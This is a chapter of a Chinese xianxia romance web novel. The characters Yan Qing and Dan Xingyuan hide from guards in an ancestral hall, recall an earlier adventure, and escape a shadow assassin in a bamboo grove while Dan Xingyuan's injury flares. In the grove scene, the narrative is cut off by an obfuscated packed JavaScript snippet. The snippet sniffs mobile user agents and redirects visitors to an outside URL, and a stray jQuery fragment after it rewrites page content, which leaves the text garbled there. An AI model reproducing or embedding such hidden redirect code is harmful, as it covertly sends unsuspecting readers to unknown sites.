危急时刻,丹行远右脚后撤一步,生生抗住了风入烟的纯阳掌。
风入烟面色阴晴不定,“看来,我这百年来,竟还退步了……”
两人身后,晏青偷偷松了一口气:
幸好,自己的骨灰保住了……
可就在众人松懈之时,她踏空一个后转身,直直越过丹行远,夺下晏青牌位下的白瓷小罐。
面对二人,她笑得狡黠。
她的行事作风还是一如当年。
风入烟将骨灰罐在手中掂量,忽地觉察不对,猛地打开:“里面怎么是空的?”
沉甸甸的白瓷小罐里,赫然空无一物。
正常,正常,不然我就不会站在这里了。
晏青心里腹诽道。
“是你。”风入烟一眼扫向丹行远。
丹行远摇摇头:“我早已告诉你。”
风入烟显然不信,眼里神色晦明:“你就算证明了这些事情又如何,你以为,我会让道教淌这趟浑水吗?”
晏青有些跟不上她的思路:证明什么事情?
丹行远不卑不亢:“总要有作出选择的那一天,我想道长也不希望陷入被动。”
风入烟冷笑一声,不以为意,随手将白瓷小瓶朝案台扔去。早就候在一旁的晏青忙飞身接过,直到将白瓷小罐安稳地放到写着自己名字的牌位前,才松了口气。
回过头,却见风入烟已没了踪影。
寂静的祠堂只剩下晏青和丹行远两人。
烛火明灭,将二人长长的身影投在墙壁上。
果不其然,丹行远接下来要问她话了:“叶道友半夜闲游,颇有闲情雅致。”
“只是,祠堂似乎不是夜游的好地方。”
“我这不是半夜忽来兴致,想要追思古人……”
晏青随口胡诌,还没待丹行远说什么,听得外面警铃大作。
“糟了,警报被引发了。”
一定是风入烟干的。
晏青素来最知她这位旧友,吃了亏一定不会这么简单离去,定要给自己找些麻烦。
护卫想必不久就会到来。
“我们得赶快……”
晏青走几步回过头,却看见丹行远在自己身后,还慢上几分。她忙上前去,借着微光,看清丹行远满头是汗,看起来似有难处。
联想到之前的伤,晏青神色一凛:“你那甚么旧伤又发作了?”
丹行远勉强地点点头,捂住心口,豆大的汗珠从额头滑落。
外面脚步声紧密,丹行远眼下的状态是无法冲破重围了,晏青左右看了看,拽着丹行远的衣袖将人往供桌底下的黑帘布躲去。
守卫的脚步声近了:“就在这里,搜!”
桌底狭窄,两个成年人侧身勉强躲进来,为了保持礼貌的距离,两人绷紧了全身侧躺着,左右别着脸,只听到黑暗中对方轻轻的呼吸声。温度上升,伴随着外面人跑动的脚步声,叫人无端地烦躁。
灰暗狭小的空间放大了人的五感,晏青屏气凝神,能听到对面的丹行远呼吸急促——他仍然在强行催动灵气,让二人不至于被神识发现。
供桌底灰尘很大,一阵呛鼻的灰味,晏青紧紧贴着丹行远。
他身上向来若有似无的冷香,在此刻发挥了作用,仿佛救赎一般清新,让晏青情不自禁地将鼻子贴过去。
她的神识里突然传来丹行远冷冷的传音
——叶道友,请自重。
-
这样类似的场景其实很久之前发生过一次。
那时晏青和丹行远二人快马轻裘游历天下,一次拜访佛门莲宗,误入宗门千佛窟。二人躲在金身大佛身后,偷偷往后望。
正逢佛门讲法,上千和尚齐聚佛前诵经念咒,场面之宏伟壮观令人乍舌。
——怎么办?好像暂时出不去了。
晏青悻悻地收回目光,无奈地对丹行远传音。若不是方才她兴奋地拉着丹行远看这看那,越走越深,想必还能在和尚聚会前偷偷从大门溜掉。但现在大师讲法,洞窟前戒备森严……
——等着吧。
丹行远语气依旧淡淡,他单脚一划,将两人脚下的尘土一扫干净,撩起衣袍首先盘腿而坐。晏青嘿嘿笑着,没骨头似的靠着金身大佛瘫坐在一旁。
原本还想逗弄一番丹行远,却见对方早已闭目养神,竟开始修炼起来。
修炼狂……晏青心里吐槽着,百无聊赖地打量着四方的溶洞。
溶洞垂下钟乳石柱,到处都如复制粘贴一样,没得看头。又听得身后传来和尚的念咒声,时不时搭配几声单调的木鱼,晏青听不出甚么佛法精妙,倒是领悟出几分困意。
不一会,就开始小鸡啄米。
困顿昏沉之际,她察觉自己缓缓地躺下,一片睁不开眼的黑暗中,似是有双冰凉的手将散落面前的乱发别到耳后,动作轻柔。
再次恢复意识时,晏青朦胧中睁开眼,身下倒垫得软和。再一反应,自己竟是枕着丹行远的大腿睡的,她猛地直起身子,下意识地擦擦嘴角。
——还好,还好,没有失态。
却见丹行远也不看她,淡定地起身:“走吧,讲经已经结束了。”
晏青愣愣地追上去:“这么快?”
丹行远回头深深地望了她一眼:“已经过去了三个时辰。”
“……”
晏青低下头,疑似看到丹行远膝盖处一块深色的布料……
彼时二人还未确立关系,晏青红着脸同手同脚地跟着丹行远走了出去。当天晚上她非要替丹行远洗衣服,还回去的时候衣服破了个大洞,最后丹行远还是没能再穿上那件衣服。
与丹行远接触得越多,过往层叠的回忆总是不受控地浮出水面。
外面巡逻的侍卫举着烛火进来检查一圈,未发现什么异样,往外寻去。
听得门吱呀地合上,脚步声渐远,晏青忙从桌子下钻了出来。
她拍拍身上的尘土,望了眼身后缓慢钻出来的丹行远:“要我扶着你吗?”
“……不必。”
丹行远默默地拒绝之后,却撑着供桌缓了好一会。
“你这到底是什么毛病……”
晏青嘟哝着上前搀扶,却被丹行远一记眼刀阻拦,忙撒开手双手举高,“知道了知道了,我不要多管闲事,您自己看着来。”
她心里也有气,说完大步往前走,可过不了几分钟,一回头看到丹行远那副病症发作的模样:走路艰难,额头带汗,确实吃力,终究还是看不过去。
“真不知道你矫情什么。”
晏青猛地转身,将丹行远一只手臂环过自己的肩膀,视丹行远的反抗若无物,她甚至啪地打开了他的手,恼怒地说:“这都什么时候了!”
就这样,晏青以不容拒绝的强硬姿态带着丹行远离开。
-
二人途径黄金间碧竹林,竹叶潇潇,阴风阵阵。
晏青禁不住加快了脚步,却顾忌丹行远内伤,不敢太快。
利刃破风一声响,晏青虽耳力超群,却碍于功力全失,反应缓慢。一直低垂着头的丹行远猛一发力,带着晏青一个旋身堪堪避开。
黑色的利刃从眼前划过,几乎整个没入一旁的竹竿中,若是扎到人,那后果不堪设想。
晏青瞳孔倏地紧缩,正欲探看,却发现那黑色的利刃融化成一滩黏稠的黑水,缓缓滑落。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025524|194379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这与那晚遇到的黑衣鬼影一模一样!
晏青正欲偏头与丹行远说些什么,却见对方已是强弩之末,紧闭着双眼倒在自己肩头,柔顺的黑发缠绕着自己的脖子,丝丝麻麻。
丹行远已经失去了一半的意识。
得赶紧离开。
深知自己目前的功力,若真是那夜的黑影,光靠晏青一个人是一点胜算没有的。
足尖用力,正欲一式飞燕轻功,却被一旁丹行远拖得狠狠往下一坠。
“……你也太重了。”
晏青几乎是咬牙切齿地说道,声音很低,但一定清晰地传入了一旁丹行远的耳朵,借着月色都能看到泛红的耳廓。
两人仓促地行走,那黑影迟迟没有出现,却听得远处兵器破空声,竹林倾倒。晏青停顿片刻,却没听到另一个兵器……难道是方才先行一步的风入烟?
二人打斗的动静从那处往这处来,那黑影的攻击确是朝着他们二人来的,但有人拖住了他,多次飞刃打偏,不能遂意。
打斗声愈近,头顶的竹木轰然倒塌,晏青忙拽着丹行远踉跄地躲到山石之后。
偌大的山石完美地遮挡了两个人的身影,晏青偷偷地在山石后探出头,果不其然看到月下一抹紫色的身影与黑影纠缠得难舍难分。
风入烟一计计纯阳掌如泥牛入海,打穿黑影后不过几分钟,那空缺之处缓慢地生长,恢复如初。
黑影一柄长缨枪朝她面门袭来,风入烟一个仰身躲过,似乎看到了山石后探头的晏青。她紧接着挺身一记飞踢,逼着黑影朝相反的方向飞去。
眼看这两人逐渐走远,晏青这才松了一口气,回身查看丹行远的状态。
显然状态不佳。
晏青蹲在他身前,眼看他额前的发被汗打湿,一张脸皱成一团。她撩开湿发,将手背贴过去,滚烫,而又冰凉,两股不同的力量在抗衡。
“这是……内力反噬?”
内力反噬并非一朝一夕,丹行远之前又怎么能伪装得如此良好?
没有得到回答,丹行远头一偏,别开了她的手,依靠山石勉强维持着打坐的姿势。
晏青有些焦急:“喂,丹行远……”
丹行远却已听不到,残留的一丝意识在推开晏青的手。
怎么办?
若是在以前,凭晏青的修为内力,助其一臂之力绰绰有余,如今却显得十分冒险:一个尚未筑基的炼气期体修,怎么能与化神期药修的内力相抗?更遑论疏导经脉。
晏青隐约记得丹行远随身带有护命的丹药,忙拨开他的衣襟翻找起来。
情况紧急,也顾不上什么男女之别。
最终,晏青翻找出一小瓶药,罐身熟悉,一打开袋子便苦味冲天,正是之前丹行远在自己灵气走岔时拿出来的。
可现在哪来的水能送服?
不管了。
晏青直接捏开丹行远的牙关,将一丸药粗暴地塞进他嘴里。几个瞬息后,丹行远粗重的呼吸逐渐平缓——真的有用!
晏青大喜之下,又将更多的茶叶塞了进去。丹行远的嘴颤抖了两下,若是他此刻清醒,必是要皱着眉头嫌弃晏青暴殄天物。
他的意识似乎叶逐渐恢复,坐正开始打坐,缓慢梳理经脉内力,隐隐的灵力波动从竹林向外振荡。晏青见状,脚下点地,划了个简单护灵法阵,这通常是修士用来隐藏灵力、潜心修炼的基础阵法。
没办法,晏青叹了一口气,无奈地打坐在一旁,只能我替你守阵了。
看着丹行远清朗眉目,晏青撑着下巴打了个哈欠:丹行远,这下你可欠我太多。
夜里微风阵阵,竹林清风缓缓,偶尔传来沙沙的声响,晏青沉沉地睡去。